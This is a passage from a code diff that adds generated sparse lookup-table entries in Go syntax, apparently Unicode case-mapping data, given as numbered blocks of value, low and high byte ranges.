0x0034, lo: 0x92, hi: 0x92}, + {value: 0x0014, lo: 0x93, hi: 0x93}, + {value: 0x0004, lo: 0x97, hi: 0x97}, + {value: 0x0024, lo: 0x9d, hi: 0x9d}, + {value: 0x0010, lo: 0xa0, hi: 0xa9}, + // Block 0x47, offset 0x203 + {value: 0x0014, lo: 0x8b, hi: 0x8f}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + {value: 0x0010, lo: 0xa0, hi: 0xbf}, + // Block 0x48, offset 0x206 + {value: 0x0010, lo: 0x80, hi: 0x82}, + {value: 0x0014, lo: 0x83, hi: 0x83}, + {value: 0x0010, lo: 0x84, hi: 0xb8}, + // Block 0x49, offset 0x209 + {value: 0x0010, lo: 0x80, hi: 0x84}, + {value: 0x0014, lo: 0x85, hi: 0x86}, + {value: 0x0010, lo: 0x87, hi: 0xa8}, + {value: 0x0034, lo: 0xa9, hi: 0xa9}, + {value: 0x0010, lo: 0xaa, hi: 0xaa}, + {value: 0x0010, lo: 0xb0, hi: 0xbf}, + // Block 0x4a, offset 0x20f + {value: 0x0010, lo: 0x80, hi: 0xb5}, + // Block 0x4b, offset 0x210 + {value: 0x0010, lo: 0x80, hi: 0x9e}, + {value: 0x0014, lo: 0xa0, hi: 0xa2}, + {value: 0x0010, lo: 0xa3, hi: 0xa6}, + {value: 0x0014, lo: 0xa7, hi: 0xa8}, + {value: 0x0010, lo: 0xa9, hi: 0xab}, + {value: 0x0010, lo: 0xb0, hi: 0xb1}, + {value: 0x0014, lo: 0xb2, hi: 0xb2}, + {value: 0x0010, lo: 0xb3, hi: 0xb8}, + {value: 0x0034, lo: 0xb9, hi: 0xb9}, + {value: 0x0024, lo: 0xba, hi: 0xba}, + {value: 0x0034, lo: 0xbb, hi: 0xbb}, + // Block 0x4c, offset 0x21b + {value: 0x0010, lo: 0x86, hi: 0x8f}, + // Block 0x4d, offset 0x21c + {value: 0x0010, lo: 0x90, hi: 0x99}, + // Block 0x4e, offset 0x21d + {value: 0x0010, lo: 0x80, hi: 0x96}, + {value: 0x0024, lo: 0x97, hi: 0x97}, + {value: 0x0034, lo: 0x98, hi: 0x98}, + {value: 0x0010, lo: 0x99, hi: 0x9a}, + {value: 0x0014, lo: 0x9b, hi: 0x9b}, + // Block 0x4f, offset 0x222 + {value: 0x0010, lo: 0x95, hi: 0x95}, + {value: 0x0014, lo: 0x96, hi: 0x96}, + {value: 0x0010, lo: 0x97, hi: 0x97}, + {value: 0x0014, lo: 0x98, hi: 0x9e}, + {value: 0x0034, lo: 0xa0, hi: 0xa0}, + {value: 0x0010, lo: 0xa1, hi: 0xa1}, + {value: 0x0014, lo: 0xa2, hi: 0xa2}, + {value: 0x0010, lo: 0xa3, hi: 0xa4}, + {value: 0x0014, lo: 0xa5, hi: 0xac}, + {value: 0x0010, lo: 0xad, hi: 0xb2}, + {value: 0x0014, lo: 0xb3, hi: 0xb4}, + {value: 0x0024, lo: 0xb5, hi: 0xbc}, + {value: 0x0034, lo: 0xbf, hi: 0xbf}, + // Block 0x50, offset 0x22f + {value: 0x0010, lo: 0x80, hi: 0x89}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + {value: 0x0004, lo: 0xa7, hi: 0xa7}, + {value: 0x0024, lo: 0xb0, hi: 0xb4}, + {value: 0x0034, lo: 0xb5, hi: 0xba}, + {value: 0x0024, lo: 0xbb, hi: 0xbc}, + {value: 0x0034, lo: 0xbd, hi: 0xbd}, + {value: 0x0014, lo: 0xbe, hi: 0xbe}, + {value: 0x0034, lo: 0xbf, hi: 0xbf}, + // Block 0x51, offset 0x238 + {value: 0x0034, lo: 0x80, hi: 0x80}, + {value: 0x0024, lo: 0x81, hi: 0x82}, + {value: 0x0034, lo: 0x83, hi: 0x84}, + {value: 0x0024, lo: 0x85, hi: 0x89}, + {value: 0x0034, lo: 0x8a, hi: 0x8a}, + {value: 0x0024, lo: 0x8b, hi: 0x8e}, + // Block 0x52, offset 0x23e + {value: 0x0014, lo: 0x80, hi: 0x83}, + {value: 0x0010, lo: 0x84, hi: 0xb3}, + {value: 0x0034, lo: 0xb4, hi: 0xb4}, + {value: 0x0010, lo: 0xb5, hi: 0xb5}, + {value: 0x0014, lo: 0xb6, hi: 0xba}, + {value: 0x0010, lo: 0xbb, hi: 0xbb}, + {value: 0x0014, lo: 0xbc, hi: 0xbc}, + {value: 0x0010, lo: 0xbd, hi: 0xbf}, + // Block 0x53, offset 0x246 + {value: 0x0010, lo: 0x80, hi: 0x81}, + {value: 0x0014, lo: 0x82, hi: 0x82}, + {value: 0x0010, lo: 0x83, hi: 0x83}, + {value: 0x0030, lo: 0x84, hi: 0x84}, + {value: 0x0010, lo: 0x85, hi: 0x8c}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + {value: 0x0024, lo: 0xab, hi: 0xab}, + {value: 0x0034, lo: 0xac, hi: 0xac}, + {value: 0x0024, lo: 0xad, hi: 0xb3}, + // Block 0x54, offset 0x24f + {value: 0x0014, lo: 0x80, hi: 0x81}, + {value: 0x0010, lo: 0x82, hi: 0xa1}, + {value: 0x0014, lo: 0xa2, hi: 0xa5}, + {value: 0x0010, lo: 0xa6, hi: 0xa7}, + {value: 0x0014, lo: 0xa8, hi: 0xa9}, + {value: 0x0030, lo: 0xaa, hi: 0xaa}, + {value: 0x0034, lo: 0xab, hi: 0xab}, + {value: 0x0014, lo: 0xac, hi: 0xad}, + {value: 0x0010, lo: 0xae, hi: 0xbf}, + // Block 0x55, offset 0x258 + {value: 0x0010, lo: 0x80, hi: 0xa5}, + {value: 0x0034, lo: 0xa6, hi: 0xa6}, + {value: 0x0010, lo: 0xa7, hi: 0xa7}, + {value: 0x0014, lo: 0xa8, hi: 0xa9}, + {value: 0x0010, lo: 0xaa, hi: 0xac}, + {value: 0x0014, lo: 0xad, hi: 0xad}, + {value: 0x0010, lo: 0xae, hi: 0xae}, + {value: 0x0014, lo: 0xaf, hi: 0xb1}, + {value: 0x0030, lo: 0xb2, hi: 0xb3}, + // Block 0x56, offset 0x261 + {value: 0x0010, lo: 0x80, hi: 0xab}, + {value: 0x0014, lo: 0xac, hi: 0xb3}, + {value: 0x0010, lo: 0xb4, hi: 0xb5}, + {value: 0x0014, lo: 0xb6, hi: 0xb6}, + {value: 0x0034, lo: 0xb7, hi: 0xb7}, + // Block 0x57, offset 0x266 + {value: 0x0010, lo: 0x80, hi: 0x89}, + {value: 0x0010, lo: 0x8d, hi: 0xb7}, + {value: 0x0014, lo: 0xb8, hi: 0xbd}, + // Block 0x58, offset 0x269 + {value: 0x31ea, lo: 0x80, hi: 0x80}, + {value: 0x326a, lo: 0x81, hi: 0x81}, + {value: 0x32ea, lo: 0x82, hi: 0x82}, + {value: 0x336a, lo: 0x83, hi: 0x83}, + {value: 0x33ea, lo: 0x84, hi: 0x84}, + {value: 0x346a, lo: 0x85, hi: 0x85}, + {value: 0x34ea, lo: 0x86, hi: 0x86}, + {value: 0x356a, lo: 0x87, hi: 0x87}, + {value: 0x35ea, lo: 0x88, hi: 0x88}, + {value: 0x8353, lo: 0x90, hi: 0xba}, + {value: 0x8353, lo: 0xbd, hi: 0xbf}, + // Block 0x59, offset 0x274 + {value: 0x0024, lo: 0x90, hi: 0x92}, + {value: 0x0034, lo: 0x94, hi: 0x99}, + {value: 0x0024, lo: 0x9a, hi: 0x9b}, + {value: 0x0034, lo: 0x9c, hi: 0x9f}, + {value: 0x0024, lo: 0xa0, hi: 0xa0}, + {value: 0x0010, lo: 0xa1, hi: 0xa1}, + {value: 0x0034, lo: 0xa2, hi: 0xa8}, + {value: 0x0010, lo: 0xa9, hi: 0xac}, + {value: 0x0034, lo: 0xad, hi: 0xad}, + {value: 0x0010, lo: 0xae, hi: 0xb3}, + {value: 0x0024, lo: 0xb4, hi: 0xb4}, + {value: 0x0010, lo: 0xb5, hi: 0xb7}, + {value: 0x0024, lo: 0xb8, hi: 0xb9}, + {value: 0x0010, lo: 0xba, hi: 0xba}, + // Block 0x5a, offset 0x282 + {value: 0x0012, lo: 0x80, hi: 0xab}, + {value: 0x0015, lo: 0xac, hi: 0xbf}, + // Block 0x5b, offset 0x284 + {value: 0x0015, lo: 0x80, hi: 0xaa}, + {value: 0x0012, lo: 0xab, hi: 0xb7}, + {value: 0x0015, lo: 0xb8, hi: 0xb8}, + {value: 0x8752, lo: 0xb9, hi: 0xb9}, + {value: 0x0012, lo: 0xba, hi: 0xbc}, + {value: 0x8b52, lo: 0xbd, hi: 0xbd}, + {value: 0x0012, lo: 0xbe, hi: 0xbf}, + // Block 0x5c, offset 0x28b + {value: 0x0012, lo: 0x80, hi: 0x8d}, + {value: 0x8f52, lo: 0x8e, hi: 0x8e}, + {value: 0x0012, lo: 0x8f, hi: 0x9a}, + {value: 0x0015, lo: 0x9b, hi: 0xbf}, + // Block 0x5d, offset 0x28f + {value: 0x0024, lo: 0x80, hi: 0x81}, + {value: 0x0034, lo: 0x82, hi: 0x82}, + {value: 0x0024, lo: 0x83, hi: 0x89}, + {value: 0x0034, lo: 0x8a, hi: 0x8a}, + {value: 0x0024, lo: 0x8b, hi: 0x8c}, + {value: 0x0034, lo: 0x8d, hi: 0x90}, + {value: 0x0024, lo: 0x91, hi: 0xb5}, + {value: 0x0034, lo: 0xb6, hi: 0xba}, + {value: 0x0024, lo: 0xbb, hi: 0xbb}, + {value: 0x0034, lo: 0xbc, hi: 0xbd}, + {value: 0x0024, lo: 0xbe, hi: 0xbe}, + {value: 0x0034, lo: 0xbf, hi: 0xbf}, + // Block 0x5e, offset 0x29b + {value: 0x0117, lo: 0x80, hi: 0xbf}, + // Block 0x5f, offset 0x29c + {value: 0x0117, lo: 0x80, hi: 0x95}, + {value: 0x369a, lo: 0x96, hi: 0x96}, + {value: 0x374a, lo: 0x97, hi: 0x97}, + {value: 0x37fa, lo: 0x98, hi: 0x98}, + {value: 0x38aa, lo: 0x99, hi: 0x99}, + {value: 0x395a, lo: 0x9a, hi: 0x9a}, + {value: 0x3a0a, lo: 0x9b, hi: 0x9b}, + {value: 0x0012, lo: 0x9c, hi: 0x9d}, + {value: 0x3abb, lo: 0x9e, hi: 0x9e}, + {value: 0x0012, lo: 0x9f, hi: 0x9f}, + {value: 0x0117, lo: 0xa0, hi: 0xbf}, + // Block 0x60, offset 0x2a7 + {value: 0x0812, lo: 0x80, hi: 0x87}, + {value: 0x0813, lo: 0x88, hi: 0x8f}, + {value: 0x0812, lo: 0x90, hi: 0x95}, + {value: 0x0813, lo: 0x98, hi: 0x9d}, + {value: 0x0812, lo: 0xa0, hi: 0xa7}, + {value: 0x0813, lo: 0xa8, hi: 0xaf}, + {value: 0x0812, lo: 0xb0, hi: 0xb7}, + {value: 0x0813, lo: 0xb8, hi: 0xbf}, + // Block 0x61, offset 0x2af + {value: 0x0004, lo: 0x8b, hi: 0x8b}, + {value: 0x0014, lo: 0x8c, hi: 0x8f}, + {value: 0x0054, lo: 0x98, hi: 0x99}, + {value: 0x0054, lo: 0xa4, hi: 0xa4}, + {value: 0x0054, lo: 0xa7, hi: 0xa7}, + {value: 0x0014, lo: 0xaa, hi: 0xae}, + {value: 0x0010, lo: 0xaf, hi: 0xaf}, + {value: 0x0010, lo: 0xbf, hi: 0xbf}, + // Block 0x62, offset 0x2b7 + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0010, lo: 0x94, hi: 0x94}, + {value: 0x0014, lo: 0xa0, hi: 0xa4}, + {value: 0x0014, lo: 0xa6, hi: 0xaf}, + {value: 0x0015, lo: 0xb1, hi: 0xb1}, + {value: 0x0015, lo: 0xbf, hi: 0xbf}, + // Block 0x63, offset 0x2bd + {value: 0x0015, lo: 0x90, hi: 0x9c}, + // Block 0x64, offset 0x2be + {value: 0x0024, lo: 0x90, hi: 0x91}, + {value: 0x0034, lo: 0x92, hi: 0x93}, + {value: 0x0024, lo: 0x94, hi: 0x97}, + {value: 0x0034, lo: 0x98, hi: 0x9a}, + {value: 0x0024, lo: 0x9b, hi: 0x9c}, + {value: 0x0014, lo: 0x9d, hi: 0xa0}, + {value: 0x0024, lo: 0xa1, hi: 0xa1}, + {value: 0x0014, lo: 0xa2, hi: 0xa4}, + {value: 0x0034, lo: 0xa5, hi: 0xa6}, + {value: 0x0024, lo: 0xa7, hi: 0xa7}, + {value: 0x0034, lo: 0xa8, hi: 0xa8}, + {value: 0x0024, lo: 0xa9, hi: 0xa9}, + {value: 0x0034, lo: 0xaa, hi: 0xaf}, + {value: 0x0024, lo: 0xb0, hi: 0xb0}, + // Block 0x65, offset 0x2cc + {value: 0x0016, lo: 0x85, hi: 0x86}, + {value: 0x0012, lo: 0x87, hi: 0x89}, + {value: 0xa452, lo: 0x8e, hi: 0x8e}, + {value: 0x1013, lo: 0xa0, hi: 0xaf}, + {value: 0x1012, lo: 0xb0, hi: 0xbf}, + // Block 0x66, offset 0x2d1 + {value: 0x0010, lo: 0x80, hi: 0x82}, + {value: 0x0716, lo: 0x83, hi: 0x84}, + {value: 0x0010, lo: 0x85, hi: 0x88}, + // Block 0x67, offset 0x2d4 + {value: 0xa753, lo: 0xb6, hi: 0xb7}, + {value: 0xaa53, lo: 0xb8, hi: 0xb9}, + {value: 0xad53, lo: 0xba, hi: 0xbb}, + {value: 0xaa53, lo: 0xbc, hi: 0xbd}, + {value: 0xa753, lo: 0xbe, hi: 0xbf}, + // Block 0x68, offset 0x2d9 + {value: 0x3013, lo: 0x80, hi: 0x8f}, + {value: 0x6553, lo: 0x90, hi: 0x9f}, + {value: 0xb053, lo: 0xa0, hi: 0xaf}, + {value: 0x3012, lo: 0xb0, hi: 0xbf}, + // Block 0x69, offset 0x2dd + {value: 0x0117, lo: 0x80, hi: 0xa3}, + {value: 0x0012, lo: 0xa4, hi: 0xa4}, + {value: 0x0716, lo: 0xab, hi: 0xac}, + {value: 0x0316, lo: 0xad, hi: 0xae}, + {value: 0x0024, lo: 0xaf, hi: 0xb1}, + {value: 0x0117, lo: 0xb2, hi: 0xb3}, + // Block 0x6a, offset 0x2e3 + {value: 0x6c52, lo: 0x80, hi: 0x9f}, + {value: 0x7052, lo: 0xa0, hi: 0xa5}, + {value: 0x7052, lo: 0xa7, hi: 0xa7}, + {value: 0x7052, lo: 0xad, hi: 0xad}, + {value: 0x0010, lo: 0xb0, hi: 0xbf}, + // Block 0x6b, offset 0x2e8 + {value: 0x0010, lo: 0x80, hi: 0xa7}, + {value: 0x0014, lo: 0xaf, hi: 0xaf}, + {value: 0x0034, lo: 0xbf, hi: 0xbf}, + // Block 0x6c, offset 0x2eb + {value: 0x0010, lo: 0x80, hi: 0x96}, + {value: 0x0010, lo: 0xa0, hi: 0xa6}, + {value: 0x0010, lo: 0xa8, hi: 0xae}, + {value: 0x0010, lo: 0xb0, hi: 0xb6}, + {value: 0x0010, lo: 0xb8, hi: 0xbe}, + // Block 0x6d, offset 0x2f0 + {value: 0x0010, lo: 0x80, hi: 0x86}, + {value: 0x0010, lo: 0x88, hi: 0x8e}, + {value: 0x0010, lo: 0x90, hi: 0x96}, + {value: 0x0010, lo: 0x98, hi: 0x9e}, + {value: 0x0024, lo: 0xa0, hi: 0xbf}, + // Block 0x6e, offset 0x2f5 + {value: 0x0014, lo: 0xaf, hi: 0xaf}, + // Block 0x6f, offset 0x2f6 + {value: 0x0014, lo: 0x85, hi: 0x85}, + {value: 0x0034, lo: 0xaa, hi: 0xad}, + {value: 0x0030, lo: 0xae, hi: 0xaf}, + {value: 0x0004, lo: 0xb1, hi: 0xb5}, + {value: 0x0014, lo: 0xbb, hi: 0xbb}, + {value: 0x0010, lo: 0xbc, hi: 0xbc}, + // Block 0x70, offset 0x2fc + {value: 0x0034, lo: 0x99, hi: 0x9a}, + {value: 0x0004, lo: 0x9b, hi: 0x9e}, + // Block 0x71, offset 0x2fe + {value: 0x0004, lo: 0xbc, hi: 0xbe}, + // Block 0x72, offset 0x2ff + {value: 0x0010, lo: 0x85, hi: 0xaf}, + {value: 0x0010, lo: 0xb1, hi: 0xbf}, + // Block 0x73, offset 0x301 + {value: 0x0010, lo: 0x80, hi: 0x8e}, + {value: 0x0010, lo: 0xa0, hi: 0xbf}, + // Block 0x74, offset 0x303 + {value: 0x0010, lo: 0x80, hi: 0x94}, + {value: 0x0014, lo: 0x95, hi: 0x95}, + {value: 0x0010, lo: 0x96, hi: 0xbf}, + // Block 0x75, offset 0x306 + {value: 0x0010, lo: 0x80, hi: 0x8c}, + // Block 0x76, offset 0x307 + {value: 0x0010, lo: 0x90, hi: 0xb7}, + {value: 0x0014, lo: 0xb8, hi: 0xbd}, + // Block 0x77, offset 0x309 + {value: 0x0010, lo: 0x80, hi: 0x8b}, + {value: 0x0014, lo: 0x8c, hi: 0x8c}, + {value: 0x0010, lo: 0x90, hi: 0xab}, + // Block 0x78, offset 0x30c + {value: 0x0117, lo: 0x80, hi: 0xad}, + {value: 0x0010, lo: 0xae, hi: 0xae}, + {value: 0x0024, lo: 0xaf, hi: 0xaf}, + {value: 0x0014, lo: 0xb0, hi: 0xb2}, + {value: 0x0024, lo: 0xb4, hi: 0xbd}, + {value: 0x0014, lo: 0xbf, hi: 0xbf}, + // Block 0x79, offset 0x312 + {value: 0x0117, lo: 0x80, hi: 0x9b}, + {value: 0x0015, lo: 0x9c, hi: 0x9d}, + {value: 0x0024, lo: 0x9e, hi: 0x9f}, + {value: 0x0010, lo: 0xa0, hi: 0xbf}, + // Block 0x7a, offset 0x316 + {value: 0x0010, lo: 0x80, hi: 0xaf}, + {value: 0x0024, lo: 0xb0, hi: 0xb1}, + // Block 0x7b, offset 0x318 + {value: 0x0004, lo: 0x80, hi: 0x87}, + {value: 0x0014, lo: 0x88, hi: 0xa1}, + {value: 0x0117, lo: 0xa2, hi: 0xaf}, + {value: 0x0012, lo: 0xb0, hi: 0xb1}, + {value: 0x0117, lo: 0xb2, hi: 0xbf}, + // Block 0x7c, offset 0x31d + {value: 0x0117, lo: 0x80, hi: 0xaf}, + {value: 0x0015, lo: 0xb0, hi: 0xb0}, + {value: 0x0012, lo: 0xb1, hi: 0xb8}, + {value: 0x0316, lo: 0xb9, hi: 0xba}, + {value: 0x0716, lo: 0xbb, hi: 0xbc}, + {value: 0x8753, lo: 0xbd, hi: 0xbd}, + {value: 0x0117, lo: 0xbe, hi: 0xbf}, + // Block 0x7d, offset 0x324 + {value: 0x0117, lo: 0x80, hi: 0x83}, + {value: 0x6553, lo: 0x84, hi: 0x84}, + {value: 0x908b, lo: 0x85, hi: 0x85}, + {value: 0x8f53, lo: 0x86, hi: 0x86}, + {value: 0x0f16, lo: 0x87, hi: 0x88}, + {value: 0x0316, lo: 0x89, hi: 0x8a}, + {value: 0x0117, lo: 0x90, hi: 0x91}, + {value: 0x0012, lo: 0x93, hi: 0x93}, + {value: 0x0012, lo: 0x95, hi: 0x95}, + {value: 0x0117, lo: 0x96, hi: 0x99}, + {value: 0x0015, lo: 0xb2, hi: 0xb4}, + {value: 0x0316, lo: 0xb5, hi: 0xb6}, + {value: 0x0010, lo: 0xb7, hi: 0xb7}, + {value: 0x0015, lo: 0xb8, hi: 0xb9}, + {value: 0x0012, lo: 0xba, hi: 0xba}, + {value: 0x0010, lo: 0xbb, hi: 0xbf}, + // Block 0x7e, offset 0x334 + {value: 0x0010, lo: 0x80, hi: 0x81}, + {value: 0x0014, lo: 0x82, hi: 0x82}, + {value: 0x0010, lo: 0x83, hi: 0x85}, + {value: 0x0034, lo: 0x86, hi: 0x86}, + {value: 0x0010, lo: 0x87, hi: 0x8a}, + {value: 0x0014, lo: 0x8b, hi: 0x8b}, + {value: 0x0010, lo: 0x8c, hi: 0xa4}, + {value: 0x0014, lo: 0xa5, hi: 0xa6}, + {value: 0x0010, lo: 0xa7, hi: 0xa7}, + {value: 0x0034, lo: 0xac, hi: 0xac}, + // Block 0x7f, offset 0x33e + {value: 0x0010, lo: 0x80, hi: 0xb3}, + // Block 0x80, offset 0x33f + {value: 0x0010, lo: 0x80, hi: 0x83}, + {value: 0x0034, lo: 0x84, hi: 0x84}, + {value: 0x0014, lo: 0x85, hi: 0x85}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + {value: 0x0024, lo: 0xa0, hi: 0xb1}, + {value: 0x0010, lo: 0xb2, hi: 0xb7}, + {value: 0x0010, lo: 0xbb, hi: 0xbb}, + {value: 0x0010, lo: 0xbd, hi: 0xbe}, + {value: 0x0014, lo: 0xbf, hi: 0xbf}, + // Block 0x81, offset 0x348 + {value: 0x0010, lo: 0x80, hi: 0xa5}, + {value: 0x0014, lo: 0xa6, hi: 0xaa}, + {value: 0x0034, lo: 0xab, hi: 0xad}, + {value: 0x0010, lo: 0xb0, hi: 0xbf}, + // Block 0x82, offset 0x34c + {value: 0x0010, lo: 0x80, hi: 0x86}, + {value: 0x0014, lo: 0x87, hi: 0x91}, + {value: 0x0010, lo: 0x92, hi: 0x92}, + {value: 0x0030, lo: 0x93, hi: 0x93}, + {value: 0x0010, lo: 0xa0, hi: 0xbc}, + // Block 0x83, offset 0x351 + {value: 0x0014, lo: 0x80, hi: 0x82}, + {value: 0x0010, lo: 0x83, hi: 0xb2}, + {value: 0x0034, lo: 0xb3, hi: 0xb3}, + {value: 0x0010, lo: 0xb4, hi: 0xb5}, + {value: 0x0014, lo: 0xb6, hi: 0xb9}, + {value: 0x0010, lo: 0xba, hi: 0xbb}, + {value: 0x0014, lo: 0xbc, hi: 0xbd}, + {value: 0x0010, lo: 0xbe, hi: 0xbf}, + // Block 0x84, offset 0x359 + {value: 0x0030, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x8f, hi: 0x8f}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + {value: 0x0014, lo: 0xa5, hi: 0xa5}, + {value: 0x0004, lo: 0xa6, hi: 0xa6}, + {value: 0x0010, lo: 0xb0, hi: 0xb9}, + // Block 0x85, offset 0x35f + {value: 0x0010, lo: 0x80, hi: 0xa8}, + {value: 0x0014, lo: 0xa9, hi: 0xae}, + {value: 0x0010, lo: 0xaf, hi: 0xb0}, + {value: 0x0014, lo: 0xb1, hi: 0xb2}, + {value: 0x0010, lo: 0xb3, hi: 0xb4}, + {value: 0x0014, lo: 0xb5, hi: 0xb6}, + // Block 0x86, offset 0x365 + {value: 0x0010, lo: 0x80, hi: 0x82}, + {value: 0x0014, lo: 0x83, hi: 0x83}, + {value: 0x0010, lo: 0x84, hi: 0x8b}, + {value: 0x0014, lo: 0x8c, hi: 0x8c}, + {value: 0x0010, lo: 0x8d, hi: 0x8d}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + {value: 0x0004, lo: 0xb0, hi: 0xb0}, + {value: 0x0010, lo: 0xbb, hi: 0xbb}, + {value: 0x0014, lo: 0xbc, hi: 0xbc}, + {value: 0x0010, lo: 0xbd, hi: 0xbd}, + // Block 0x87, offset 0x36f + {value: 0x0024, lo: 0xb0, hi: 0xb0}, + {value: 0x0024, lo: 0xb2, hi: 0xb3}, + {value: 0x0034, lo: 0xb4, hi: 0xb4}, + {value: 0x0024, lo: 0xb7, hi: 0xb8}, + {value: 0x0024, lo: 0xbe, hi: 0xbf}, + // Block 0x88, offset 0x374 + {value: 0x0024, lo: 0x81, hi: 0x81}, + {value: 0x0004, lo: 0x9d, hi: 0x9d}, + {value: 0x0010, lo: 0xa0, hi: 0xab}, + {value: 0x0014, lo: 0xac, hi: 0xad}, + {value: 0x0010, lo: 0xae, hi: 0xaf}, + {value: 0x0010, lo: 0xb2, hi: 0xb2}, + {value: 0x0014, lo: 0xb3, hi: 0xb4}, + {value: 0x0010, lo: 0xb5, hi: 0xb5}, + {value: 0x0034, lo: 0xb6, hi: 0xb6}, + // Block 0x89, offset 0x37d + {value: 0x0010, lo: 0x81, hi: 0x86}, + {value: 0x0010, lo: 0x89, hi: 0x8e}, + {value: 0x0010, lo: 0x91, hi: 0x96}, + {value: 0x0010, lo: 0xa0, hi: 0xa6}, + {value: 0x0010, lo: 0xa8, hi: 0xae}, + {value: 0x0012, lo: 0xb0, hi: 0xbf}, + // Block 0x8a, offset 0x383 + {value: 0x0012, lo: 0x80, hi: 0x92}, + {value: 0xb352, lo: 0x93, hi: 0x93}, + {value: 0x0012, lo: 0x94, hi: 0x9a}, + {value: 0x0014, lo: 0x9b, hi: 0x9b}, + {value: 0x0015, lo: 0x9c, hi: 0x9f}, + {value: 0x0012, lo: 0xa0, hi: 0xa8}, + {value: 0x0015, lo: 0xa9, hi: 0xa9}, + {value: 0x0004, lo: 0xaa, hi: 0xab}, + {value: 0x74d2, lo: 0xb0, hi: 0xbf}, + // Block 0x8b, offset 0x38c + {value: 0x78d2, lo: 0x80, hi: 0x8f}, + {value: 0x7cd2, lo: 0x90, hi: 0x9f}, + {value: 0x80d2, lo: 0xa0, hi: 0xaf}, + {value: 0x7cd2, lo: 0xb0, hi: 0xbf}, + // Block 0x8c, offset 0x390 + {value: 0x0010, lo: 0x80, hi: 0xa4}, + {value: 0x0014, lo: 0xa5, hi: 0xa5}, + {value: 0x0010, lo: 0xa6, hi: 0xa7}, + {value: 0x0014, lo: 0xa8, hi: 0xa8}, + {value: 0x0010, lo: 0xa9, hi: 0xaa}, + {value: 0x0010, lo: 0xac, hi: 0xac}, + {value: 0x0034, lo: 0xad, hi: 0xad}, + {value: 0x0010, lo: 0xb0, hi: 0xb9}, + // Block 0x8d, offset 0x398 + {value: 0x0010, lo: 0x80, hi: 0xa3}, + {value: 0x0010, lo: 0xb0, hi: 0xbf}, + // Block 0x8e, offset 0x39a + {value: 0x0010, lo: 0x80, hi: 0x86}, + {value: 0x0010, lo: 0x8b, hi: 0xbb}, + // Block 0x8f, offset 0x39c + {value: 0x0010, lo: 0x80, hi: 0x81}, + {value: 0x0010, lo: 0x83, hi: 0x84}, + {value: 0x0010, lo: 0x86, hi: 0xbf}, + // Block 0x90, offset 0x39f + {value: 0x0010, lo: 0x80, hi: 0xb1}, + {value: 0x0004, lo: 0xb2, hi: 0xbf}, + // Block 0x91, offset 0x3a1 + {value: 0x0004, lo: 0x80, hi: 0x82}, + {value: 0x0010, lo: 0x93, hi: 0xbf}, + // Block 0x92, offset 0x3a3 + {value: 0x0010, lo: 0x80, hi: 0xbd}, + // Block 0x93, offset 0x3a4 + {value: 0x0010, lo: 0x90, hi: 0xbf}, + // Block 0x94, offset 0x3a5 + {value: 0x0010, lo: 0x80, hi: 0x8f}, + {value: 0x0010, lo: 0x92, hi: 0xbf}, + // Block 0x95, offset 0x3a7 + {value: 0x0010, lo: 0x80, hi: 0x87}, + {value: 0x0010, lo: 0xb0, hi: 0xbb}, + // Block 0x96, offset 0x3a9 + {value: 0x0014, lo: 0x80, hi: 0x8f}, + {value: 0x0054, lo: 0x93, hi: 0x93}, + {value: 0x0024, lo: 0xa0, hi: 0xa6}, + {value: 0x0034, lo: 0xa7, hi: 0xad}, + {value: 0x0024, lo: 0xae, hi: 0xaf}, + {value: 0x0010, lo: 0xb3, hi: 0xb4}, + // Block 0x97, offset 0x3af + {value: 0x0010, lo: 0x8d, hi: 0x8f}, + {value: 0x0054, lo: 0x92, hi: 0x92}, + {value: 0x0054, lo: 0x95, hi: 0x95}, + {value: 0x0010, lo: 0xb0, hi: 0xb4}, + {value: 0x0010, lo: 0xb6, hi: 0xbf}, + // Block 0x98, offset 0x3b4 + {value: 0x0010, lo: 0x80, hi: 0xbc}, + {value: 0x0014, lo: 0xbf, hi: 0xbf}, + // Block 0x99, offset 0x3b6 + {value: 0x0054, lo: 0x87, hi: 0x87}, + {value: 0x0054, lo: 0x8e, hi: 0x8e}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + {value: 0x0054, lo: 0x9a, hi: 0x9a}, + {value: 0x5f53, lo: 0xa1, hi: 0xba}, + {value: 0x0004, lo: 0xbe, hi: 0xbe}, + {value: 0x0010, lo: 0xbf, hi: 0xbf}, + // Block 0x9a, offset 0x3bd + {value: 0x0004, lo: 0x80, hi: 0x80}, + {value: 0x5f52, lo: 0x81, hi: 0x9a}, + {value: 0x0004, lo: 0xb0, hi: 0xb0}, + // Block 0x9b, offset 0x3c0 + {value: 0x0014, lo: 0x9e, hi: 0x9f}, + {value: 0x0010, lo: 0xa0, hi: 0xbe}, + // Block 0x9c, offset 0x3c2 + {value: 0x0010, lo: 0x82, hi: 0x87}, + {value: 0x0010, lo: 0x8a, hi: 0x8f}, + {value: 0x0010, lo: 0x92, hi: 0x97}, + {value: 0x0010, lo: 0x9a, hi: 0x9c}, + {value: 0x0004, lo: 0xa3, hi: 0xa3}, + {value: 0x0014, lo: 0xb9, hi: 0xbb}, + // Block 0x9d, offset 0x3c8 + {value: 0x0010, lo: 0x80, hi: 0x8b}, + {value: 0x0010, lo: 0x8d, hi: 0xa6}, + {value: 0x0010, lo: 0xa8, hi: 0xba}, + {value: 0x0010, lo: 0xbc, hi: 0xbd}, + {value: 0x0010, lo: 0xbf, hi: 0xbf}, + // Block 0x9e, offset 0x3cd + {value: 0x0010, lo: 0x80, hi: 0x8d}, + {value: 0x0010, lo: 0x90, hi: 0x9d}, + // Block 0x9f, offset 0x3cf + {value: 0x0010, lo: 0x80, hi: 0xba}, + // Block 0xa0, offset 0x3d0 + {value: 0x0010, lo: 0x80, hi: 0xb4}, + // Block 0xa1, offset 0x3d1 + {value: 0x0034, lo: 0xbd, hi: 0xbd}, + // Block 0xa2, offset 0x3d2 + {value: 0x0010, lo: 0x80, hi: 0x9c}, + {value: 0x0010, lo: 0xa0, hi: 0xbf}, + // Block 0xa3, offset 0x3d4 + {value: 0x0010, lo: 0x80, hi: 0x90}, + {value: 0x0034, lo: 0xa0, hi: 0xa0}, + // Block 0xa4, offset 0x3d6 + {value: 0x0010, lo: 0x80, hi: 0x9f}, + {value: 0x0010, lo: 0xad, hi: 0xbf}, + // 